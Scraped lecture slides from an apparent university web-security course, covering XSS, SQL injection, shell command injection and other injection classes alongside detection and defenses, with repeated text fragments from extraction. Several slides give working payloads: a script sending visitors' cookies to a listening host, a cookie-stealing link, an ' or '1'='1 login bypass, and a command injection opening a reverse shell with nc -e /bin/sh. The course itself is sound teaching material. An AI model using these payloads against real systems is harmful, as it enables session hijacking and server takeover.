1. Web Security

2. Why Web Security: a Real Business Problem > 60% of total attack attempts observed on the Net are against Web applications > 60% of total attack attempts observed on the Net are against Web applications > 80% of vulnerabilities discovered are in web apps > 80% of vulnerabilities discovered are in web apps Independent security audit Independent security audit Regulatory compliance Regulatory compliance

3. Auditor finding Freeform edit box Freeform edit box –Message to Customer Service XSS issue raised XSS issue raised Must provide a response: Must provide a response: –Prove issue to be a non-problem or –Describe actions to take

4. Big trend: software as a (Web-based) service Big trend: software as a (Web-based) service –Online banking, shopping, government, etc. –Cloud computing Applications hosted on Web servers Applications hosted on Web servers –Written in a mixture of PHP, Java, Perl, Python, C, ASP Security is rarely the main concern Security is rarely the main concern –Poorly written scripts with inadequate input validation –Sensitive data stored in world-readable files Web Applications

5. Runs on a Web server or application server Runs on a Web server or application server Takes input from Web users (via Web server) Takes input from Web users (via Web server) Interacts with back-end databases and third parties Interacts with back-end databases and third parties Prepares and outputs results for users (via Web server) Prepares and outputs results for users (via Web server) –Dynamically generated HTML pages –Contain content from many different sources, often including regular users Blogs, social networks, photo-sharing websites… Blogs, social networks, photo-sharing websites… Typical Web Application Design

6. Two Sides of Web Security Web browser Web browser –Can be attacked by any website it visits –Attacks lead to malware installation (keyloggers, botnets), document theft, loss of private data Web application Web application –Runs at website Banks, online merchants, blogs, Google Apps, etc. Banks, online merchants, blogs, Google Apps, etc. –Written in Javascript, PHP, ASP, JSP, Ruby, … –Many potential bugs: XSS, SQL injection, XSRF –Attacks lead to stolen credit cards, defaced sites, mayhem

7. Web Attacks Cross Site Scripting (XSS) Cross Site Scripting (XSS) SQL Injection SQL Injection Shell Attacks Shell Attacks If interested in more XPATH Injection XPATH Injection LDAP Injection LDAP Injection SSI Injection SSI Injection JSP Injection JSP Injection

9. slide 9JavaScript Language executed by browser Language executed by browser –Scripts are embedded in Web pages –Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page Used to implement “active” web pages Used to implement “active” web pages –AJAX, huge number of Web-based applications Many security and correctness issues Many security and correctness issues –Attacker gets to execute some code on user’s machine –Often used to exploit other vulnerabilities

10. Cross Site Scripting Attacker goal: their code into browser Attacker goal: their code into browser XSS forces a website visitor to execute malicious code in his/her browser XSS forces a website visitor to execute malicious code in his/her browser Count for roughly 80% of all documented security vulnerabilities Count for roughly 80% of all documented security vulnerabilities

11. XSS Risks XSS abuses render engines or plug-ins XSS abuses render engines or plug-ins Steal browser cookies Steal browser cookies Steal session info for replay attack Steal session info for replay attack Malware or bot installation Malware or bot installation Redirect or phishing attempt Redirect or phishing attempt

12. XSS Example 1 Trudy posts the following JavaScript on a message board: Trudy posts the following JavaScript on a message board: var url = "http://machineaddress:5000/index.html?cookie= “+ encodeURI(document.cookie); </script> Then run a TCP server listening on port 5000 with e.g., nc –l 5000 Then run a TCP server listening on port 5000 with e.g., nc –l 5000 When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

13. XSS Demo Instructions Set port forward to bypass the firewall Set port forward to bypass the firewall ssh -L 8000:netsec-demos:2000 guest@netsec- 1.cs.northwestern.edu guest@netsec- 1.cs.northwestern.eduguest@netsec- 1.cs.northwestern.edu Note: 8000 is the local port, it's forwarded to netsec- demos port 2000 through netsec-1 Use http://localhost:8000 to access http://netsec-demos.cs.northwestern.edu:2000 Use http://localhost:8000 to access http://netsec-demos.cs.northwestern.edu:2000http://localhost:8000 http://netsec-demos.cs.northwestern.edu:2000http://localhost:8000 http://netsec-demos.cs.northwestern.edu:2000

14. XSS Demo Instructions (II) Login as ychen and post the script with a sexy title (e.g., hot game!) Login as ychen and post the script with a sexy title (e.g., hot game!) var url = "http://cal.cs.northwestern.edu:5000/index.html?cookie="; var url = "http://cal.cs.northwestern.edu:5000/index.html?cookie="; url = url + encodeURI(document.cookie); url = url + encodeURI(document.cookie); new Image().src=url; new Image().src=url; Hi Everyone! Thanks for your cookies! Hi Everyone! Thanks for your cookies! Ssh to any other machine (e.g., cal.cs.northwestern.edu) and run Ssh to any other machine (e.g., cal.cs.northwestern.edu) and run nc –l 5000

15. Simple XSS Code var url = "http://machineaddress:5000/index.html? cookie=“+ encodeURI(document.cookie); document.cookie is the browser's entire cookie for the current website document.cookie is the browser's entire cookie for the current website encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL –E.g., changing the space character to %20 –Make the URL less suspicious

16. What can Trudy Do with the Cookie? Another user test458 login as and when clicking the post, cookie is sent to ychen Another user test458 login as and when clicking the post, cookie is sent to ychen Crack Bob’s password (MD5 hash in the cookie) with John the Ripper, Hydra, or any password cracker Crack Bob’s password (MD5 hash in the cookie) with John the Ripper, Hydra, or any password cracker For more info, http://netsec.cs.northwestern.edu/resources/passw ord-cracking/ For more info, http://netsec.cs.northwestern.edu/resources/passw ord-cracking/ Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob

17. XSS Detection A client usually is not supposed to send scripts to servers A client usually is not supposed to send scripts to servers If the server receives … or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred If the server receives … or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred –A sanitized script could look like &ls;SCRIPT>… Any user input must be preprocessed before it is used inside HTML Any user input must be preprocessed before it is used inside HTML

18. SQL Injection Malicious SQL statements run on a database and thus attack the server –XSS can only target other users

19. SQL Injection Example Trudy accesses Bob’s website; in which he does not validate input on his sign in form Trudy accesses Bob’s website; in which he does not validate input on his sign in form –Runs a SQL statement like the following: –select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe’; Set username to ' or '1'='1 Set username to ' or '1'='1 select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; Effect: picks any row where the username is blank and the password matches or any row where true. Effect: picks any row where the username is blank and the password matches or any row where true. Add “limit 1” to pick the first row Add “limit 1” to pick the first row

20. SQL Injection Detection Input validation on any outgoing SQL statements from the web server to the database server Input validation on any outgoing SQL statements from the web server to the database server –Filter Apostrophes, semicolons, percent symbols, hyphens, underscores, … Apostrophes, semicolons, percent symbols, hyphens, underscores, … Any character that has special meanings must be escaped,.e.g., convert ’ into \’ Any character that has special meanings must be escaped,.e.g., convert ’ into \’ –Only works for string inputs –Different databases have different rules for escaping –Check the data type (e.g., make sure it’s an integer)

21. Shell Attacks Control an actual machine like a web server

22. Shell Attacks Inject commands into scripts that use Linux utilities Inject commands into scripts that use Linux utilities –E.g., with “;” as command separator in UNIX/LINUX CGI programs like perl can use command-line programs (e.g. grep, ls) CGI programs like perl can use command-line programs (e.g. grep, ls) Unsanitized input as arguments can lead to command execution. Unsanitized input as arguments can lead to command execution.

23. Shell Attacks Demo Search engine in MiniBB webserver executes Search engine in MiniBB webserver executes system("echo $user_usr ". $phrase. " >>/tmp/searchlogs"); Put phrase as: >/dev/null; id; echo randomdata Put phrase as: >/dev/null; id; echo randomdata –Hide user ID –Store random data in logs to evade detection We can even get a remote shell ! We can even get a remote shell ! –>/dev/null; nc cal 5000 -e /bin/sh

24. Defense Approaches Web firewall/IDS Web firewall/IDS –ModSecurity for Apache –Commercial: SecureSphere from Impervia Static code analysis Static code analysis –Open source: Nikto –Commercial: Acutenix Web Vulnerability Scanner Acutenix Web Vulnerability Scanner N-stalker N-stalker Education on good coding Education on good coding –HTML encoding on input (server-side) –Input validation/filtering

25. Backup Slides

26. XSS Example 2 Trudy sends a link of the following URL to Bob that will take him to a personalized page: Trudy sends a link of the following URL to Bob that will take him to a personalized page: http://host/personalizedpage.php?username= document.location='http://trudyhost/cgi- bin/stealcookie.cgi?'+document.cookie http://host/personalizedpage.php?username= document.location='http://trudyhost/cgi- bin/stealcookie.cgi?'+document.cookie A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious

27. XPATH Injection Example Similar to SQL injection Similar to SQL injection Bob has a form that does not sanitize user- provided input before using it as part of an XPATH query:: Bob has a form that does not sanitize user- provided input before using it as part of an XPATH query:: –string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) Trudy again can provide the following password to change the statement’s logic: Trudy again can provide the following password to change the statement’s logic: –X’ OR ‘x’=‘x –The statement thus selects the first account

28. LDAP Injection Example Server using LDAP for authentication Server using LDAP for authentication –User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry Attacker can exploit using special characters Attacker can exploit using special charactershttp://example/ldapsearch.asp?user=*

29. LDAP Injection Detection Detection is based off of usage of special LDAP characters Detection is based off of usage of special LDAP characters –System monitors input for special characters –Either scrubs incoming input or watches for unescaped output passed to database server Detection approach is blackbox Detection approach is blackbox

30. SSI Injection Example Bob has his server configured to use Server- Side Includes Bob has his server configured to use Server- Side Includes Trudy passes input with an SSI embedded Trudy passes input with an SSI embedded SSI inserts malicious code into normal webpages upon next request SSI inserts malicious code into normal webpages upon next request Future legitimate users get content containing the tainted code included by the SSI Future legitimate users get content containing the tainted code included by the SSI

31. JSP Injection Example Similar to SSI injection Similar to SSI injection Bob has a portal server configured to use dynamic code for templates Bob has a portal server configured to use dynamic code for templates Trudy passes input with an embedded Trudy passes input with an embedded malicious code inserted into webpage malicious code inserted into webpage

32. JSP Injection Prevention Prefer static include Prefer static include Don’t allow file inclusion outside of server via Java2 Security policies Don’t allow file inclusion outside of server via Java2 Security policies Firewall rules to prevent outbound requests from server Firewall rules to prevent outbound requests from server Input validation coding Input validation coding Choose portal software not requiring dynamic includes or code execution Choose portal software not requiring dynamic includes or code execution

33. Q&A Suggestions? Suggestions?